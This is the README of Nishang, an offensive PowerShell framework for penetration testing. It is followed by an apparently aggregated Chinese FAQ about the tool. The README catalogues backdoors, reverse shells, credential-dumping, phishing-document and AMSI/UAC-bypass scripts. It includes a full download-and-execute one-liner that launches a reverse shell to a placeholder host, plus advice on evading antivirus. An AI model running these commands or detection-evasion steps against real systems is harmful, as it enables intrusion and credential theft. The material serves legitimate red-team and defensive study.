nishang README

The project's README from github.com/samratashok/nishang. As one markdown file: README.md.

Nishang

Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing.

By Nikhil Mittal Founder of Altered Security - Hands-on red team and enterprise security training!

Usage

Import all the scripts in the current PowerShell session (PowerShell v3 onwards).

PS C:\nishang> Import-Module .\nishang.psm1

Use the individual scripts with dot sourcing.

PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1

PS C:\nishang> Get-Information

To get help about any script or function, use:

PS C:\nishang> Get-Help [scriptname] -full

Note that the help is available for the function loaded after running the script and not the script itself since version 0.3.8. In all cases, the function name is same as the script name.

For example, to see the help about Get-WLAN-Keys.ps1, use

PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1

PS C:\nishang> Get-Help Get-WLAN-Keys -Full

Anti Virus

Nishang scripts are flagged by many Anti Viruses as malicious. The scrripts on a target are meant to be used in memory which is very easy to do with PowerShell. Two basic methods to execute PowerShell scripts in memory:

Method 1. Use the in-memory dowload and execute: Use below command to execute a PowerShell script from a remote shell, meterpreter native shell, a web shell etc. and the function exported by it. All the scripts in Nishang export a function with same name in the current PowerShell session.

powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]

Method 2. Use the -encodedcommand (or -e) parameter of PowerShell All the scripts in Nishang export a function with same name in the current PowerShell session. Therefore, make sure the function call is made in the script itself while using encodedcommand parameter from a non-PowerShell shell. For above example, add a function call (without quotes) "Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]".

Encode the scrript using Invoke-Encode from Nishang:

PS C:\nishang> . \nishang\Utility\Invoke-Encode

PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand

Encoded data written to .\encoded.txt

Encoded command written to .\encodedcommand.txt

From above, use the encoded script from encodedcommand.txt and run it on a target where commands could be executed (a remote shell, meterpreter native shell, a web shell etc.). Use it like below:

C:\Users\target> powershell -e [encodedscript]

If the scripts still get detected changing the function and parameter names and removing the help content will help.

In case Windows 10's AMSI is still blocking script execution, see this blog: http://www.labofapenetrationtester.com/2016/09/amsi.html

Scripts

Nishang currently contains the following scripts and payloads.

ActiveDirectory

Set-DCShadowPermissions

Modify AD objects to provide minimal permissions required for DCShadow.

Antak - the Webshell

Antak

Execute PowerShell scripts in memory, run commands, and download and upload files using this webshell.

Backdoors

HTTP-Backdoor

A backdoor which can receive instructions from third party websites and execute PowerShell scripts in memory.

DNS_TXT_Pwnage

A backdoor which can receive commands and PowerShell scripts from DNS TXT queries, execute them on a target, and be remotely controlled using the queries.

Execute-OnTime

A backdoor which can execute PowerShell scripts at a given time on a target.

Gupt-Backdoor

A backdoor which can receive commands and scripts from a WLAN SSID without connecting to it.

Add-ScrnSaveBackdoor

A backdoor which can use Windows screen saver for remote command and script execution.

Invoke-ADSBackdoor

A backdoor which can use alternate data streams and Windows Registry to achieve persistence.

Add-RegBackdoor

A backdoor which uses well known Debugger trick to execute payload with Sticky keys and Utilman (Windows key + U).

Set-RemoteWMI

Modify permissions of DCOM and WMI namespaces to allow access to a non-admin user.

Set-RemotePSRemoting

Modify permissions of PowerShell remoting to allow access to a non-admin user.

Bypass

Invoke-AmsiBypass

Implementation of publicly known methods to bypass/avoid AMSI.

Client

Out-CHM

Create infected CHM files which can execute PowerShell commands and scripts.

Out-Word

Create Word files and infect existing ones to run PowerShell commands and scripts.

Out-Excel

Create Excel files and infect existing ones to run PowerShell commands and scripts.

Out-HTA

Create a HTA file which can be deployed on a web server and used in phishing campaigns.

Out-Java

Create signed JAR files which can be used with applets for script and command execution.

Out-Shortcut

Create shortcut files capable of executing PowerShell commands and scripts.

Out-WebQuery

Create IQY files for phishing credentials and SMB hashes.

Out-JS

Create JS files capable of executing PowerShell commands and scripts.

Out-SCT

Create SCT files capable of executing PowerShell commands and scripts.

Out-SCF

Create a SCF file which can be used for capturing NTLM hash challenges.

Escalation

Enable-DuplicateToken

When SYSTEM privileges are required.

Remove-Update

Introduce vulnerabilities by removing patches.

Invoke-PsUACme

Bypass UAC.

Execution

Download-Execute-PS

Download and execute a PowerShell script in memory.

Download_Execute

Download an executable in text format, convert it to an executable, and execute.

Execute-Command-MSSQL

Run PowerShell commands, native commands, or SQL commands on a MSSQL Server with sufficient privileges.

Execute-DNSTXT-Code

Execute shellcode in memory using DNS TXT queries.

Out-RundllCommand

Execute PowerShell commands and scripts or a reverse PowerShell session using rundll32.exe.

Gather

Check-VM

Check for a virtual machine.

Copy-VSS

Copy the SAM file using Volume Shadow Copy Service.

Invoke-CredentialsPhish

Trick a user into giving credentials in plain text.

FireBuster FireListener

A pair of scripts for egress testing

Get-Information

Get juicy information from a target.

Get-LSASecret

Get LSA Secret from a target.

Get-PassHashes

Get password hashes from a target.

Get-WLAN-Keys

Get WLAN keys in plain text from a target.

Keylogger

Log keystrokes from a target.

Invoke-MimikatzWdigestDowngrade

Dump user passwords in plain on Windows 8.1 and Server 2012

Get-PassHints

Get password hints of Windows users from a target.

Show-TargetScreen

Connect back and Stream target screen using MJPEG.

Invoke-Mimikatz

Load mimikatz in memory. Updated and with some customisation.

Invoke-Mimikittenz

Extract juicy information from target process (like browsers) memory using regex.

Invoke-SSIDExfil

Exfiltrate information like user credentials, using WLAN SSID.

Invoke-SessionGopher

Identify admin jump-boxes and/or computers used to access Unix machines.

MITM

Invoke-Interceptor

A local HTTPS proxy for MITM attacks.

Pivot

Create-MultipleSessions

Check credentials on multiple computers and create PSSessions.

Run-EXEonRemote Copy and execute an executable on multiple machines.

Invoke-NetworkRelay Create network relays between computers.

Prasadhak

Prasadhak

Check running hashes of running process against the VirusTotal database.

Scan

Brute-Force

Brute force FTP, Active Directory, MSSQL, and Sharepoint.

Port-Scan

A handy port scanner.

Powerpreter

Powerpreter

All the functionality of nishang in a single script module.

Shells

Invoke-PsGcat

Send commands and scripts to specifed Gmail account to be executed by Invoke-PsGcatAgent

Invoke-PsGcatAgent

Execute commands and scripts sent by Invoke-PsGcat.

Invoke-PowerShellTcp

An interactive PowerShell reverse connect or bind shell

Invoke-PowerShellTcpOneLine

Stripped down version of Invoke-PowerShellTcp. Also contains, a skeleton version which could fit in two tweets.

Invoke-PowerShellTcpOneLineBind

Bind version of Invoke-PowerShellTcpOneLine.

Invoke-PowerShellUdp

An interactive PowerShell reverse connect or bind shell over UDP

Invoke-PowerShellUdpOneLine

Stripped down version of Invoke-PowerShellUdp.

Invoke-PoshRatHttps

Reverse interactive PowerShell over HTTPS.

Invoke-PoshRatHttp

Reverse interactive PowerShell over HTTP.

Remove-PoshRat

Clean the system after using Invoke-PoshRatHttps

Invoke-PowerShellWmi

Interactive PowerShell using WMI.

Invoke-PowerShellIcmp

An interactive PowerShell reverse shell over ICMP.

Invoke-JSRatRundll

An interactive PowerShell reverse shell over HTTP using rundll32.exe.

Invoke-JSRatRegsvr

An interactive PowerShell reverse shell over HTTP using regsvr32.exe.

Utility

Add-Exfiltration

Add data exfiltration capability to Gmail, Pastebin, a web server, and DNS to any script.

Add-Persistence

Add reboot persistence capability to a script.

Remove-Persistence

Remote persistence added by the Add-Persistence script.

Do-Exfiltration

Pipe (|) this to any script to exfiltrate the output.

Download

Transfer a file to the target.

Parse_Keys

Parse keys logged by the keylogger.

Invoke-Encode

Encode and compress a script or string.

Invoke-Decode

Decode and decompress a script or string from Invoke-Encode.

Start-CaptureServer

Run a web server which logs Basic authentication and SMB hashes.

ConvertTo-ROT13

Encode a string to ROT13 or decode a ROT13 string.

Out-DnsTxt

Generate DNS TXT records which could be used with other scripts.

[Base64ToString]

[StringToBase64]

[ExetoText]

[TexttoExe]

Updates

Updates about Nishang can be found at my blog http://labofapenetrationtester.com and my Twitter feed @nikhil_mitt.

Bugs, Feedback and Feature Requests

Please raise an issue if you encounter a bug or have a feature request. You can email me at nikhil [dot] uitrgpv at gmail.com

Mailing List

For feedback, discussions, and feature requests, join: http://groups.google.com/group/nishang-users

Contributing

I am always looking for contributors to Nishang. Please submit requests or drop me an email.

Blog Posts

Some helpful blog posts to check out for beginners:

http://www.labofapenetrationtester.com/2014/06/nishang-0-3-4.html

http://labofapenetrationtester.com/2012/08/introducing-nishang-powereshell-for.html

http://labofapenetrationtester.com/2013/08/powerpreter-and-nishang-Part-1.html

http://www.labofapenetrationtester.com/2013/09/powerpreter-and-nishang-Part-2.html

All posts about Nishang:

http://www.labofapenetrationtester.com/search/label/Nishang

nishang (samratashok/nishang)

Searching Database…

10.2K ·GitHub
这是什么?Nishang 是一个框架,同时也是大量用于攻击性安全、渗透测试和红队行动的 PowerShell 脚本与载荷的集合,覆盖一次行动的每一个阶段。
这是单个工具,还是一组独立的脚本?它是数十个独立 PowerShell 脚本的集合,按 ActiveDirectory、Backdoors、Client、Escalation、Execution、Gather、Shells、Utility 等类别组织,另外还有把全部功能打包进一个模块的 Powerpreter。
我该如何开始使用这些脚本?在 PowerShell 会话(v3+)中导入所有脚本,或对单个脚本进行点源加载;每个脚本都会导出一个同名函数,随后调用即可。
除了 PowerShell 之外,运行这些脚本还需要什么吗?只需要目标机/攻击机上装有 PowerShell 3 或更高版本;由于一切都是纯 PowerShell,无需其他运行时。
杀毒软件或 AMSI 会拦截这些脚本吗?会的。大多数 Nishang 脚本会被许多杀毒产品标记为恶意,Windows 10 的 AMSI 也可能阻止执行;README 建议采用内存执行、编码命令,或重命名函数/删除帮助内容来躲避检测。
这套工具面向谁?面向红队成员、渗透测试人员和攻击性安全专业人员,他们需要基于 PowerShell 的工具来覆盖行动的每个阶段,从侦察到持久化再到数据外泄。
运行这些脚本会把数据发送到别处吗?有多个实用脚本专门用于把数据外传到攻击者控制的目的地,例如 Gmail、Pastebin、Web 服务器或 DNS。
Antak 是什么?Antak 是 Nishang 自带的一个 webshell,可通过网页界面在内存中执行 PowerShell 脚本、运行命令以及下载或上传文件。
Invoke-Mimikatz 有什么作用?它把更新、定制版的 Mimikatz 完全加载到内存中,从目标提取凭据和机密信息,而无需把工具写入磁盘。
我能用这些脚本绕过 AMSI 吗?Nishang 包含 Invoke-AmsiBypass,它实现了公开已知的绕过或规避 AMSI 检测的方法;README 还链接了更多博客指南,用于对付顽固的 AMSI 拦截。
Nishang 中的反弹 shell 是如何交付的?Shells 类别提供了多种交互式 PowerShell 反向/绑定 shell 变体,可通过 TCP、UDP、ICMP、HTTP/HTTPS、WMI 传输,甚至可通过 rundll32.exe 或 regsvr32.exe 实现更隐蔽的执行。
Size
10.9 MB
Stars
10.2K
Age
12y
Commits · 90 Days